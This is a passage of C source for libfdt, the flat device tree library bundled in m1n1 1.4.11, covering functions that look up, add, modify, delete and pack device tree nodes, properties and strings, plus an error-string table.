char *fdt_get_string(const void *fdt, int stroffset, int *lenp) { int32_t totalsize; uint32_t absoffset; size_t len; int err; const char *s, *n; if (can_assume(VALID_INPUT)) { s = (const char *)fdt + fdt_off_dt_strings(fdt) + stroffset; if (lenp) *lenp = strlen(s); return s; } totalsize = fdt_ro_probe_(fdt); err = totalsize; if (totalsize < 0) goto fail; err = -FDT_ERR_BADOFFSET; absoffset = stroffset + fdt_off_dt_strings(fdt); if (absoffset >= (unsigned)totalsize) goto fail; len = totalsize - absoffset; if (fdt_magic(fdt) == FDT_MAGIC) { if (stroffset < 0) goto fail; if (can_assume(LATEST) || fdt_version(fdt) >= 17) { if ((unsigned)stroffset >= fdt_size_dt_strings(fdt)) goto fail; if ((fdt_size_dt_strings(fdt) - stroffset) < len) len = fdt_size_dt_strings(fdt) - stroffset; } } else if (fdt_magic(fdt) == FDT_SW_MAGIC) { unsigned int sw_stroffset = -stroffset; if ((stroffset >= 0) || (sw_stroffset > fdt_size_dt_strings(fdt))) goto fail; if (sw_stroffset < len) len = sw_stroffset; } else { err = -FDT_ERR_INTERNAL; goto fail; } s = (const char *)fdt + absoffset; n = memchr(s, '\0', len); if (!n) { /* missing terminating NULL */ err = -FDT_ERR_TRUNCATED; goto fail; } if (lenp) *lenp = n - s; return s; fail: if (lenp) *lenp = err; return NULL; } const char *fdt_string(const void *fdt, int stroffset) { return fdt_get_string(fdt, stroffset, NULL); } static int fdt_string_eq_(const void *fdt, int stroffset, const char *s, int len) { int slen; const char *p = fdt_get_string(fdt, stroffset, &slen); return p && (slen == len) && (memcmp(p, s, len) == 0); } int fdt_find_max_phandle(const void *fdt, uint32_t *phandle) { uint32_t max = 0; int offset = -1; while (true) { uint32_t value; offset = fdt_next_node(fdt, offset, NULL); if (offset < 0) { if (offset == -FDT_ERR_NOTFOUND) break; return offset; } value = fdt_get_phandle(fdt, offset); if (value > max) max = value; } if (phandle) *phandle = max; return 0; } int fdt_generate_phandle(const void *fdt, uint32_t *phandle) { uint32_t max; int err; err = fdt_find_max_phandle(fdt, &max); if (err < 0) return err; if (max == FDT_MAX_PHANDLE) return -FDT_ERR_NOPHANDLES; if (phandle) *phandle = max + 1; return 0; } static const struct fdt_reserve_entry *fdt_mem_rsv(const void *fdt, int n) { unsigned int offset = n * sizeof(struct fdt_reserve_entry); unsigned int absoffset = fdt_off_mem_rsvmap(fdt) + offset; if (!can_assume(VALID_INPUT)) { if (absoffset < fdt_off_mem_rsvmap(fdt)) return NULL; if (absoffset > fdt_totalsize(fdt) - sizeof(struct fdt_reserve_entry)) return NULL; } return fdt_mem_rsv_(fdt, n); } int fdt_get_mem_rsv(const void *fdt, int n, uint64_t *address, uint64_t *size) { const struct fdt_reserve_entry *re; FDT_RO_PROBE(fdt); re = fdt_mem_rsv(fdt, n); if (!can_assume(VALID_INPUT) && !re) return -FDT_ERR_BADOFFSET; *address = fdt64_ld(&re->address); *size = fdt64_ld(&re->size); return 0; } int fdt_num_mem_rsv(const void *fdt) { int i; const struct fdt_reserve_entry *re; for (i = 0; (re = fdt_mem_rsv(fdt, i)) != NULL; i++) { if (fdt64_ld(&re->size) == 0) return i; } return -FDT_ERR_TRUNCATED; } static int nextprop_(const void *fdt, int offset) { uint32_t tag; int nextoffset; do { tag = fdt_next_tag(fdt, offset, &nextoffset); switch (tag) { case FDT_END: if (nextoffset >= 0) return -FDT_ERR_BADSTRUCTURE; else return nextoffset; case FDT_PROP: return offset; } offset = nextoffset; } while (tag == FDT_NOP); return -FDT_ERR_NOTFOUND; } int fdt_subnode_offset_namelen(const void *fdt, int offset, const char *name, int namelen) { int depth; FDT_RO_PROBE(fdt); for (depth = 0; (offset >= 0) && (depth >= 0); offset = fdt_next_node(fdt, offset, &depth)) if ((depth == 1) && fdt_nodename_eq_(fdt, offset, name, namelen)) return offset; if (depth < 0) return -FDT_ERR_NOTFOUND; return offset; /* error */ } int fdt_subnode_offset(const void *fdt, int parentoffset, const char *name) { return fdt_subnode_offset_namelen(fdt, parentoffset, name, strlen(name)); } int fdt_path_offset_namelen(const void *fdt, const char *path, int namelen) { const char *end = path + namelen; const char *p = path; int offset = 0; FDT_RO_PROBE(fdt); /* see if we have an alias */ if (*path != '/') { const char *q = memchr(path, '/', end - p); if (!q) q = end; p = fdt_get_alias_namelen(fdt, p, q - p); if (!p) return -FDT_ERR_BADPATH; offset = fdt_path_offset(fdt, p); p = q; } while (p < end) { const char *q; while (*p == '/') { p++; if (p == end) return offset; } q = memchr(p, '/', end - p); if (! q) q = end; offset = fdt_subnode_offset_namelen(fdt, offset, p, q-p); if (offset < 0) return offset; p = q; } return offset; } int fdt_path_offset(const void *fdt, const char *path) { return fdt_path_offset_namelen(fdt, path, strlen(path)); } const char *fdt_get_name(const void *fdt, int nodeoffset, int *len) { const struct fdt_node_header *nh = fdt_offset_ptr_(fdt, nodeoffset); const char *nameptr; int err; if (((err = fdt_ro_probe_(fdt)) < 0) || ((err = fdt_check_node_offset_(fdt, nodeoffset)) < 0)) goto fail; nameptr = nh->name; if (!can_assume(LATEST) && fdt_version(fdt) < 0x10) { /* * For old FDT versions, match the naming conventions of V16: * give only the leaf name (after all /). The actual tree * contents are loosely checked. */ const char *leaf; leaf = strrchr(nameptr, '/'); if (leaf == NULL) { err = -FDT_ERR_BADSTRUCTURE; goto fail; } nameptr = leaf+1; } if (len) *len = strlen(nameptr); return nameptr; fail: if (len) *len = err; return NULL; } int fdt_first_property_offset(const void *fdt, int nodeoffset) { int offset; if ((offset = fdt_check_node_offset_(fdt, nodeoffset)) < 0) return offset; return nextprop_(fdt, offset); } int fdt_next_property_offset(const void *fdt, int offset) { if ((offset = fdt_check_prop_offset_(fdt, offset)) < 0) return offset; return nextprop_(fdt, offset); } static const struct fdt_property *fdt_get_property_by_offset_(const void *fdt, int offset, int *lenp) { int err; const struct fdt_property *prop; if (!can_assume(VALID_INPUT) && (err = fdt_check_prop_offset_(fdt, offset)) < 0) { if (lenp) *lenp = err; return NULL; } prop = fdt_offset_ptr_(fdt, offset); if (lenp) *lenp = fdt32_ld(&prop->len); return prop; } const struct fdt_property *fdt_get_property_by_offset(const void *fdt, int offset, int *lenp) { /* Prior to version 16, properties may need realignment * and this API does not work. fdt_getprop_*() will, however. */ if (!can_assume(LATEST) && fdt_version(fdt) < 0x10) { if (lenp) *lenp = -FDT_ERR_BADVERSION; return NULL; } return fdt_get_property_by_offset_(fdt, offset, lenp); } static const struct fdt_property *fdt_get_property_namelen_(const void *fdt, int offset, const char *name, int namelen, int *lenp, int *poffset) { for (offset = fdt_first_property_offset(fdt, offset); (offset >= 0); (offset = fdt_next_property_offset(fdt, offset))) { const struct fdt_property *prop; prop = fdt_get_property_by_offset_(fdt, offset, lenp); if (!can_assume(LIBFDT_FLAWLESS) && !prop) { offset = -FDT_ERR_INTERNAL; break; } if (fdt_string_eq_(fdt, fdt32_ld(&prop->nameoff), name, namelen)) { if (poffset) *poffset = offset; return prop; } } if (lenp) *lenp = offset; return NULL; } const struct fdt_property *fdt_get_property_namelen(const void *fdt, int offset, const char *name, int namelen, int *lenp) { /* Prior to version 16, properties may need realignment * and this API does not work. fdt_getprop_*() will, however. */ if (!can_assume(LATEST) && fdt_version(fdt) < 0x10) { if (lenp) *lenp = -FDT_ERR_BADVERSION; return NULL; } return fdt_get_property_namelen_(fdt, offset, name, namelen, lenp, NULL); } const struct fdt_property *fdt_get_property(const void *fdt, int nodeoffset, const char *name, int *lenp) { return fdt_get_property_namelen(fdt, nodeoffset, name, strlen(name), lenp); } const void *fdt_getprop_namelen(const void *fdt, int nodeoffset, const char *name, int namelen, int *lenp) { int poffset; const struct fdt_property *prop; prop = fdt_get_property_namelen_(fdt, nodeoffset, name, namelen, lenp, &poffset); if (!prop) return NULL; /* Handle realignment */ if (!can_assume(LATEST) && fdt_version(fdt) < 0x10 && (poffset + sizeof(*prop)) % 8 && fdt32_ld(&prop->len) >= 8) return prop->data + 4; return prop->data; } const void *fdt_getprop_by_offset(const void *fdt, int offset, const char **namep, int *lenp) { const struct fdt_property *prop; prop = fdt_get_property_by_offset_(fdt, offset, lenp); if (!prop) return NULL; if (namep) { const char *name; int namelen; if (!can_assume(VALID_INPUT)) { name = fdt_get_string(fdt, fdt32_ld(&prop->nameoff), &namelen); if (!name) { if (lenp) *lenp = namelen; return NULL; } *namep = name; } else { *namep = fdt_string(fdt, fdt32_ld(&prop->nameoff)); } } /* Handle realignment */ if (!can_assume(LATEST) && fdt_version(fdt) < 0x10 && (offset + sizeof(*prop)) % 8 && fdt32_ld(&prop->len) >= 8) return prop->data + 4; return prop->data; } const void *fdt_getprop(const void *fdt, int nodeoffset, const char *name, int *lenp) { return fdt_getprop_namelen(fdt, nodeoffset, name, strlen(name), lenp); } uint32_t fdt_get_phandle(const void *fdt, int nodeoffset) { const fdt32_t *php; int len; /* FIXME: This is a bit sub-optimal, since we potentially scan * over all the properties twice. */ php = fdt_getprop(fdt, nodeoffset, "phandle", &len); if (!php || (len != sizeof(*php))) { php = fdt_getprop(fdt, nodeoffset, "linux,phandle", &len); if (!php || (len != sizeof(*php))) return 0; } return fdt32_ld(php); } const char *fdt_get_alias_namelen(const void *fdt, const char *name, int namelen) { int aliasoffset; aliasoffset = fdt_path_offset(fdt, "/aliases"); if (aliasoffset < 0) return NULL; return fdt_getprop_namelen(fdt, aliasoffset, name, namelen, NULL); } const char *fdt_get_alias(const void *fdt, const char *name) { return fdt_get_alias_namelen(fdt, name, strlen(name)); } int fdt_get_path(const void *fdt, int nodeoffset, char *buf, int buflen) { int pdepth = 0, p = 0; int offset, depth, namelen; const char *name; FDT_RO_PROBE(fdt); if (buflen < 2) return -FDT_ERR_NOSPACE; for (offset = 0, depth = 0; (offset >= 0) && (offset <= nodeoffset); offset = fdt_next_node(fdt, offset, &depth)) { while (pdepth > depth) { do { p--; } while (buf[p-1] != '/'); pdepth--; } if (pdepth >= depth) { name = fdt_get_name(fdt, offset, &namelen); if (!name) return namelen; if ((p + namelen + 1) <= buflen) { memcpy(buf + p, name, namelen); p += namelen; buf[p++] = '/'; pdepth++; } } if (offset == nodeoffset) { if (pdepth < (depth + 1)) return -FDT_ERR_NOSPACE; if (p > 1) /* special case so that root path is "/", not "" */ p--; buf[p] = '\0'; return 0; } } if ((offset == -FDT_ERR_NOTFOUND) || (offset >= 0)) return -FDT_ERR_BADOFFSET; else if (offset == -FDT_ERR_BADOFFSET) return -FDT_ERR_BADSTRUCTURE; return offset; /* error from fdt_next_node() */ } int fdt_supernode_atdepth_offset(const void *fdt, int nodeoffset, int supernodedepth, int *nodedepth) { int offset, depth; int supernodeoffset = -FDT_ERR_INTERNAL; FDT_RO_PROBE(fdt); if (supernodedepth < 0) return -FDT_ERR_NOTFOUND; for (offset = 0, depth = 0; (offset >= 0) && (offset <= nodeoffset); offset = fdt_next_node(fdt, offset, &depth)) { if (depth == supernodedepth) supernodeoffset = offset; if (offset == nodeoffset) { if (nodedepth) *nodedepth = depth; if (supernodedepth > depth) return -FDT_ERR_NOTFOUND; else return supernodeoffset; } } if (!can_assume(VALID_INPUT)) { if ((offset == -FDT_ERR_NOTFOUND) || (offset >= 0)) return -FDT_ERR_BADOFFSET; else if (offset == -FDT_ERR_BADOFFSET) return -FDT_ERR_BADSTRUCTURE; } return offset; /* error from fdt_next_node() */ } int fdt_node_depth(const void *fdt, int nodeoffset) { int nodedepth; int err; err = fdt_supernode_atdepth_offset(fdt, nodeoffset, 0, &nodedepth); if (err) return (can_assume(LIBFDT_FLAWLESS) || err < 0) ? err : -FDT_ERR_INTERNAL; return nodedepth; } int fdt_parent_offset(const void *fdt, int nodeoffset) { int nodedepth = fdt_node_depth(fdt, nodeoffset); if (nodedepth < 0) return nodedepth; return fdt_supernode_atdepth_offset(fdt, nodeoffset, nodedepth - 1, NULL); } int fdt_node_offset_by_prop_value(const void *fdt, int startoffset, const char *propname, const void *propval, int proplen) { int offset; const void *val; int len; FDT_RO_PROBE(fdt); /* FIXME: The algorithm here is pretty horrible: we scan each * property of a node in fdt_getprop(), then if that didn't * find what we want, we scan over them again making our way * to the next node. Still it's the easiest to implement * approach; performance can come later. */ for (offset = fdt_next_node(fdt, startoffset, NULL); offset >= 0; offset = fdt_next_node(fdt, offset, NULL)) { val = fdt_getprop(fdt, offset, propname, &len); if (val && (len == proplen) && (memcmp(val, propval, len) == 0)) return offset; } return offset; /* error from fdt_next_node() */ } int fdt_node_offset_by_phandle(const void *fdt, uint32_t phandle) { int offset; if ((phandle == 0) || (phandle == ~0U)) return -FDT_ERR_BADPHANDLE; FDT_RO_PROBE(fdt); /* FIXME: The algorithm here is pretty horrible: we * potentially scan each property of a node in * fdt_get_phandle(), then if that didn't find what * we want, we scan over them again making our way to the next * node. Still it's the easiest to implement approach; * performance can come later. */ for (offset = fdt_next_node(fdt, -1, NULL); offset >= 0; offset = fdt_next_node(fdt, offset, NULL)) { if (fdt_get_phandle(fdt, offset) == phandle) return offset; } return offset; /* error from fdt_next_node() */ } int fdt_stringlist_contains(const char *strlist, int listlen, const char *str) { int len = strlen(str); const char *p; while (listlen >= len) { if (memcmp(str, strlist, len+1) == 0) return 1; p = memchr(strlist, '\0', listlen); if (!p) return 0; /* malformed strlist.. */ listlen -= (p-strlist) + 1; strlist = p + 1; } return 0; } int fdt_stringlist_count(const void *fdt, int nodeoffset, const char *property) { const char *list, *end; int length, count = 0; list = fdt_getprop(fdt, nodeoffset, property, &length); if (!list) return length; end = list + length; while (list < end) { length = strnlen(list, end - list) + 1; /* Abort if the last string isn't properly NUL-terminated. */ if (list + length > end) return -FDT_ERR_BADVALUE; list += length; count++; } return count; } int fdt_stringlist_search(const void *fdt, int nodeoffset, const char *property, const char *string) { int length, len, idx = 0; const char *list, *end; list = fdt_getprop(fdt, nodeoffset, property, &length); if (!list) return length; len = strlen(string) + 1; end = list + length; while (list < end) { length = strnlen(list, end - list) + 1; /* Abort if the last string isn't properly NUL-terminated. */ if (list + length > end) return -FDT_ERR_BADVALUE; if (length == len && memcmp(list, string, length) == 0) return idx; list += length; idx++; } return -FDT_ERR_NOTFOUND; } const char *fdt_stringlist_get(const void *fdt, int nodeoffset, const char *property, int idx, int *lenp) { const char *list, *end; int length; list = fdt_getprop(fdt, nodeoffset, property, &length); if (!list) { if (lenp) *lenp = length; return NULL; } end = list + length; while (list < end) { length = strnlen(list, end - list) + 1; /* Abort if the last string isn't properly NUL-terminated. */ if (list + length > end) { if (lenp) *lenp = -FDT_ERR_BADVALUE; return NULL; } if (idx == 0) { if (lenp) *lenp = length - 1; return list; } list += length; idx--; } if (lenp) *lenp = -FDT_ERR_NOTFOUND; return NULL; } int fdt_node_check_compatible(const void *fdt, int nodeoffset, const char *compatible) { const void *prop; int len; prop = fdt_getprop(fdt, nodeoffset, "compatible", &len); if (!prop) return len; return !fdt_stringlist_contains(prop, len, compatible); } int fdt_node_offset_by_compatible(const void *fdt, int startoffset, const char *compatible) { int offset, err; FDT_RO_PROBE(fdt); /* FIXME: The algorithm here is pretty horrible: we scan each * property of a node in fdt_node_check_compatible(), then if * that didn't find what we want, we scan over them again * making our way to the next node. Still it's the easiest to * implement approach; performance can come later. */ for (offset = fdt_next_node(fdt, startoffset, NULL); offset >= 0; offset = fdt_next_node(fdt, offset, NULL)) { err = fdt_node_check_compatible(fdt, offset, compatible); if ((err < 0) && (err != -FDT_ERR_NOTFOUND)) return err; else if (err == 0) return offset; } return offset; /* error from fdt_next_node() */ } m1n1-1.4.11/src/libfdt/fdt_rw.c000066400000000000000000000273101453754430200160500ustar00rootroot00000000000000// SPDX-License-Identifier: (GPL-2.0-or-later OR BSD-2-Clause) /* * libfdt - Flat Device Tree manipulation * Copyright (C) 2006 David Gibson, IBM Corporation. */ #include "libfdt_env.h" #include "fdt.h" #include "libfdt.h" #include "libfdt_internal.h" static int fdt_blocks_misordered_(const void *fdt, int mem_rsv_size, int struct_size) { return (fdt_off_mem_rsvmap(fdt) < FDT_ALIGN(sizeof(struct fdt_header), 8)) || (fdt_off_dt_struct(fdt) < (fdt_off_mem_rsvmap(fdt) + mem_rsv_size)) || (fdt_off_dt_strings(fdt) < (fdt_off_dt_struct(fdt) + struct_size)) || (fdt_totalsize(fdt) < (fdt_off_dt_strings(fdt) + fdt_size_dt_strings(fdt))); } static int fdt_rw_probe_(void *fdt) { if (can_assume(VALID_DTB)) return 0; FDT_RO_PROBE(fdt); if (!can_assume(LATEST) && fdt_version(fdt) < 17) return -FDT_ERR_BADVERSION; if (fdt_blocks_misordered_(fdt, sizeof(struct fdt_reserve_entry), fdt_size_dt_struct(fdt))) return -FDT_ERR_BADLAYOUT; if (!can_assume(LATEST) && fdt_version(fdt) > 17) fdt_set_version(fdt, 17); return 0; } #define FDT_RW_PROBE(fdt) \ { \ int err_; \ if ((err_ = fdt_rw_probe_(fdt)) != 0) \ return err_; \ } static inline unsigned int fdt_data_size_(void *fdt) { return fdt_off_dt_strings(fdt) + fdt_size_dt_strings(fdt); } static int fdt_splice_(void *fdt, void *splicepoint, int oldlen, int newlen) { char *p = splicepoint; unsigned int dsize = fdt_data_size_(fdt); size_t soff = p - (char *)fdt; if ((oldlen < 0) || (soff + oldlen < soff) || (soff + oldlen > dsize)) return -FDT_ERR_BADOFFSET; if ((p < (char *)fdt) || (dsize + newlen < (unsigned)oldlen)) return -FDT_ERR_BADOFFSET; if (dsize - oldlen + newlen > fdt_totalsize(fdt)) return -FDT_ERR_NOSPACE; memmove(p + newlen, p + oldlen, ((char *)fdt + dsize) - (p + oldlen)); return 0; } static int fdt_splice_mem_rsv_(void *fdt, struct fdt_reserve_entry *p, int oldn, int newn) { int delta = (newn - oldn) * sizeof(*p); int err; err = fdt_splice_(fdt, p, oldn * sizeof(*p), newn * sizeof(*p)); if (err) return err; fdt_set_off_dt_struct(fdt, fdt_off_dt_struct(fdt) + delta); fdt_set_off_dt_strings(fdt, fdt_off_dt_strings(fdt) + delta); return 0; } static int fdt_splice_struct_(void *fdt, void *p, int oldlen, int newlen) { int delta = newlen - oldlen; int err; if ((err = fdt_splice_(fdt, p, oldlen, newlen))) return err; fdt_set_size_dt_struct(fdt, fdt_size_dt_struct(fdt) + delta); fdt_set_off_dt_strings(fdt, fdt_off_dt_strings(fdt) + delta); return 0; } /* Must only be used to roll back in case of error */ static void fdt_del_last_string_(void *fdt, const char *s) { int newlen = strlen(s) + 1; fdt_set_size_dt_strings(fdt, fdt_size_dt_strings(fdt) - newlen); } static int fdt_splice_string_(void *fdt, int newlen) { void *p = (char *)fdt + fdt_off_dt_strings(fdt) + fdt_size_dt_strings(fdt); int err; if ((err = fdt_splice_(fdt, p, 0, newlen))) return err; fdt_set_size_dt_strings(fdt, fdt_size_dt_strings(fdt) + newlen); return 0; } /** * fdt_find_add_string_() - Find or allocate a string * * @fdt: pointer to the device tree to check/adjust * @s: string to find/add * @allocated: Set to 0 if the string was found, 1 if not found and so * allocated. Ignored if can_assume(NO_ROLLBACK) * @return offset of string in the string table (whether found or added) */ static int fdt_find_add_string_(void *fdt, const char *s, int *allocated) { char *strtab = (char *)fdt + fdt_off_dt_strings(fdt); const char *p; char *new; int len = strlen(s) + 1; int err; if (!can_assume(NO_ROLLBACK)) *allocated = 0; p = fdt_find_string_(strtab, fdt_size_dt_strings(fdt), s); if (p) /* found it */ return (p - strtab); new = strtab + fdt_size_dt_strings(fdt); err = fdt_splice_string_(fdt, len); if (err) return err; if (!can_assume(NO_ROLLBACK)) *allocated = 1; memcpy(new, s, len); return (new - strtab); } int fdt_add_mem_rsv(void *fdt, uint64_t address, uint64_t size) { struct fdt_reserve_entry *re; int err; FDT_RW_PROBE(fdt); re = fdt_mem_rsv_w_(fdt, fdt_num_mem_rsv(fdt)); err = fdt_splice_mem_rsv_(fdt, re, 0, 1); if (err) return err; re->address = cpu_to_fdt64(address); re->size = cpu_to_fdt64(size); return 0; } int fdt_del_mem_rsv(void *fdt, int n) { struct fdt_reserve_entry *re = fdt_mem_rsv_w_(fdt, n); FDT_RW_PROBE(fdt); if (n >= fdt_num_mem_rsv(fdt)) return -FDT_ERR_NOTFOUND; return fdt_splice_mem_rsv_(fdt, re, 1, 0); } static int fdt_resize_property_(void *fdt, int nodeoffset, const char *name, int len, struct fdt_property **prop) { int oldlen; int err; *prop = fdt_get_property_w(fdt, nodeoffset, name, &oldlen); if (!*prop) return oldlen; if ((err = fdt_splice_struct_(fdt, (*prop)->data, FDT_TAGALIGN(oldlen), FDT_TAGALIGN(len)))) return err; (*prop)->len = cpu_to_fdt32(len); return 0; } static int fdt_add_property_(void *fdt, int nodeoffset, const char *name, int len, struct fdt_property **prop) { int proplen; int nextoffset; int namestroff; int err; int allocated; if ((nextoffset = fdt_check_node_offset_(fdt, nodeoffset)) < 0) return nextoffset; namestroff = fdt_find_add_string_(fdt, name, &allocated); if (namestroff < 0) return namestroff; *prop = fdt_offset_ptr_w_(fdt, nextoffset); proplen = sizeof(**prop) + FDT_TAGALIGN(len); err = fdt_splice_struct_(fdt, *prop, 0, proplen); if (err) { /* Delete the string if we failed to add it */ if (!can_assume(NO_ROLLBACK) && allocated) fdt_del_last_string_(fdt, name); return err; } (*prop)->tag = cpu_to_fdt32(FDT_PROP); (*prop)->nameoff = cpu_to_fdt32(namestroff); (*prop)->len = cpu_to_fdt32(len); return 0; } int fdt_set_name(void *fdt, int nodeoffset, const char *name) { char *namep; int oldlen, newlen; int err; FDT_RW_PROBE(fdt); namep = (char *)(uintptr_t)fdt_get_name(fdt, nodeoffset, &oldlen); if (!namep) return oldlen; newlen = strlen(name); err = fdt_splice_struct_(fdt, namep, FDT_TAGALIGN(oldlen+1), FDT_TAGALIGN(newlen+1)); if (err) return err; memcpy(namep, name, newlen+1); return 0; } int fdt_setprop_placeholder(void *fdt, int nodeoffset, const char *name, int len, void **prop_data) { struct fdt_property *prop; int err; FDT_RW_PROBE(fdt); err = fdt_resize_property_(fdt, nodeoffset, name, len, &prop); if (err == -FDT_ERR_NOTFOUND) err = fdt_add_property_(fdt, nodeoffset, name, len, &prop); if (err) return err; *prop_data = prop->data; return 0; } int fdt_setprop(void *fdt, int nodeoffset, const char *name, const void *val, int len) { void *prop_data; int err; err = fdt_setprop_placeholder(fdt, nodeoffset, name, len, &prop_data); if (err) return err; if (len) memcpy(prop_data, val, len); return 0; } int fdt_appendprop(void *fdt, int nodeoffset, const char *name, const void *val, int len) { struct fdt_property *prop; int err, oldlen, newlen; FDT_RW_PROBE(fdt); prop = fdt_get_property_w(fdt, nodeoffset, name, &oldlen); if (prop) { newlen = len + oldlen; err = fdt_splice_struct_(fdt, prop->data, FDT_TAGALIGN(oldlen), FDT_TAGALIGN(newlen)); if (err) return err; prop->len = cpu_to_fdt32(newlen); memcpy(prop->data + oldlen, val, len); } else { err = fdt_add_property_(fdt, nodeoffset, name, len, &prop); if (err) return err; memcpy(prop->data, val, len); } return 0; } int fdt_delprop(void *fdt, int nodeoffset, const char *name) { struct fdt_property *prop; int len, proplen; FDT_RW_PROBE(fdt); prop = fdt_get_property_w(fdt, nodeoffset, name, &len); if (!prop) return len; proplen = sizeof(*prop) + FDT_TAGALIGN(len); return fdt_splice_struct_(fdt, prop, proplen, 0); } int fdt_add_subnode_namelen(void *fdt, int parentoffset, const char *name, int namelen) { struct fdt_node_header *nh; int offset, nextoffset; int nodelen; int err; uint32_t tag; fdt32_t *endtag; FDT_RW_PROBE(fdt); offset = fdt_subnode_offset_namelen(fdt, parentoffset, name, namelen); if (offset >= 0) return -FDT_ERR_EXISTS; else if (offset != -FDT_ERR_NOTFOUND) return offset; /* Try to place the new node after the parent's properties */ fdt_next_tag(fdt, parentoffset, &nextoffset); /* skip the BEGIN_NODE */ do { offset = nextoffset; tag = fdt_next_tag(fdt, offset, &nextoffset); } while ((tag == FDT_PROP) || (tag == FDT_NOP)); nh = fdt_offset_ptr_w_(fdt, offset); nodelen = sizeof(*nh) + FDT_TAGALIGN(namelen+1) + FDT_TAGSIZE; err = fdt_splice_struct_(fdt, nh, 0, nodelen); if (err) return err; nh->tag = cpu_to_fdt32(FDT_BEGIN_NODE); memset(nh->name, 0, FDT_TAGALIGN(namelen+1)); memcpy(nh->name, name, namelen); endtag = (fdt32_t *)((char *)nh + nodelen - FDT_TAGSIZE); *endtag = cpu_to_fdt32(FDT_END_NODE); return offset; } int fdt_add_subnode(void *fdt, int parentoffset, const char *name) { return fdt_add_subnode_namelen(fdt, parentoffset, name, strlen(name)); } int fdt_del_node(void *fdt, int nodeoffset) { int endoffset; FDT_RW_PROBE(fdt); endoffset = fdt_node_end_offset_(fdt, nodeoffset); if (endoffset < 0) return endoffset; return fdt_splice_struct_(fdt, fdt_offset_ptr_w_(fdt, nodeoffset), endoffset - nodeoffset, 0); } static void fdt_packblocks_(const char *old, char *new, int mem_rsv_size, int struct_size) { int mem_rsv_off, struct_off, strings_off; mem_rsv_off = FDT_ALIGN(sizeof(struct fdt_header), 8); struct_off = mem_rsv_off + mem_rsv_size; strings_off = struct_off + struct_size; memmove(new + mem_rsv_off, old + fdt_off_mem_rsvmap(old), mem_rsv_size); fdt_set_off_mem_rsvmap(new, mem_rsv_off); memmove(new + struct_off, old + fdt_off_dt_struct(old), struct_size); fdt_set_off_dt_struct(new, struct_off); fdt_set_size_dt_struct(new, struct_size); memmove(new + strings_off, old + fdt_off_dt_strings(old), fdt_size_dt_strings(old)); fdt_set_off_dt_strings(new, strings_off); fdt_set_size_dt_strings(new, fdt_size_dt_strings(old)); } int fdt_open_into(const void *fdt, void *buf, int bufsize) { int err; int mem_rsv_size, struct_size; int newsize; const char *fdtstart = fdt; const char *fdtend = fdtstart + fdt_totalsize(fdt); char *tmp; FDT_RO_PROBE(fdt); mem_rsv_size = (fdt_num_mem_rsv(fdt)+1) * sizeof(struct fdt_reserve_entry); if (can_assume(LATEST) || fdt_version(fdt) >= 17) { struct_size = fdt_size_dt_struct(fdt); } else { struct_size = 0; while (fdt_next_tag(fdt, struct_size, &struct_size) != FDT_END) ; if (struct_size < 0) return struct_size; } if (can_assume(LIBFDT_ORDER) || !fdt_blocks_misordered_(fdt, mem_rsv_size, struct_size)) { /* no further work necessary */ err = fdt_move(fdt, buf, bufsize); if (err) return err; fdt_set_version(buf, 17); fdt_set_size_dt_struct(buf, struct_size); fdt_set_totalsize(buf, bufsize); return 0; } /* Need to reorder */ newsize = FDT_ALIGN(sizeof(struct fdt_header), 8) + mem_rsv_size + struct_size + fdt_size_dt_strings(fdt); if (bufsize < newsize) return -FDT_ERR_NOSPACE; /* First attempt to build converted tree at beginning of buffer */ tmp = buf; /* But if that overlaps with the old tree... */ if (((tmp + newsize) > fdtstart) && (tmp < fdtend)) { /* Try right after the old tree instead */ tmp = (char *)(uintptr_t)fdtend; if ((tmp + newsize) > ((char *)buf + bufsize)) return -FDT_ERR_NOSPACE; } fdt_packblocks_(fdt, tmp, mem_rsv_size, struct_size); memmove(buf, tmp, newsize); fdt_set_magic(buf, FDT_MAGIC); fdt_set_totalsize(buf, bufsize); fdt_set_version(buf, 17); fdt_set_last_comp_version(buf, 16); fdt_set_boot_cpuid_phys(buf, fdt_boot_cpuid_phys(fdt)); return 0; } int fdt_pack(void *fdt) { int mem_rsv_size; FDT_RW_PROBE(fdt); mem_rsv_size = (fdt_num_mem_rsv(fdt)+1) * sizeof(struct fdt_reserve_entry); fdt_packblocks_(fdt, fdt, mem_rsv_size, fdt_size_dt_struct(fdt)); fdt_set_totalsize(fdt, fdt_data_size_(fdt)); return 0; } m1n1-1.4.11/src/libfdt/fdt_strerror.c000066400000000000000000000026521453754430200173040ustar00rootroot00000000000000// SPDX-License-Identifier: (GPL-2.0-or-later OR BSD-2-Clause) /* * libfdt - Flat Device Tree manipulation * Copyright (C) 2006 David Gibson, IBM Corporation. * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "libfdt_env.h" #include "fdt.h" #include "libfdt.h" #include "libfdt_internal.h" struct fdt_errtabent { const char *str; }; #define FDT_ERRTABENT(val) \ [(val)] = { .str = #val, } static struct fdt_errtabent fdt_errtable[] = { FDT_ERRTABENT(FDT_ERR_NOTFOUND), FDT_ERRTABENT(FDT_ERR_EXISTS), FDT_ERRTABENT(FDT_ERR_NOSPACE), FDT_ERRTABENT(FDT_ERR_BADOFFSET), FDT_ERRTABENT(FDT_ERR_BADPATH), FDT_ERRTABENT(FDT_ERR_BADPHANDLE), FDT_ERRTABENT(FDT_ERR_BADSTATE), FDT_ERRTABENT(FDT_ERR_TRUNCATED), FDT_ERRTABENT(FDT_ERR_BADMAGIC), FDT_ERRTABENT(FDT_ERR_BADVERSION), FDT_ERRTABENT(FDT_ERR_BADSTRUCTURE), FDT_ERRTABENT(FDT_ERR_BADLAYOUT), FDT_ERRTABENT(FDT_ERR_INTERNAL), FDT_ERRTABENT(FDT_ERR_BADNCELLS), FDT_ERRTABENT(FDT_ERR_BADVALUE), FDT_ERRTABENT(FDT_ERR_BADOVERLAY), FDT_ERRTABENT(FDT_ERR_NOPHANDLES), FDT_ERRTABENT(FDT_ERR_BADFLAGS), }; #define FDT_ERRTABSIZE ((int)(sizeof(fdt_errtable) / sizeof(fdt_errtable[0]))) const char *fdt_strerror(int errval) { if (errval > 0) return ""; else if (errval == 0) return ""; else if (-errval < FDT_ERRTABSIZE) { const char *s = fdt_errtable[-errval].str; if (s) return s; } return ""; } m1n1-1.4.11/src/libfdt/fdt_sw.c000066400000000000000000000207371453754430200160570ustar00rootroot00000000000000// SPDX-License-Identifier: (GPL-2.0-or-later OR BSD-2-Clause) /* * libfdt - Flat Device Tree manipulation * Copyright (C) 2006 David Gibson, IBM Corporation. */ #include "libfdt_env.h" #include "fdt.h" #include "libfdt.h" #include "libfdt_internal.h" static int fdt_sw_probe_(void 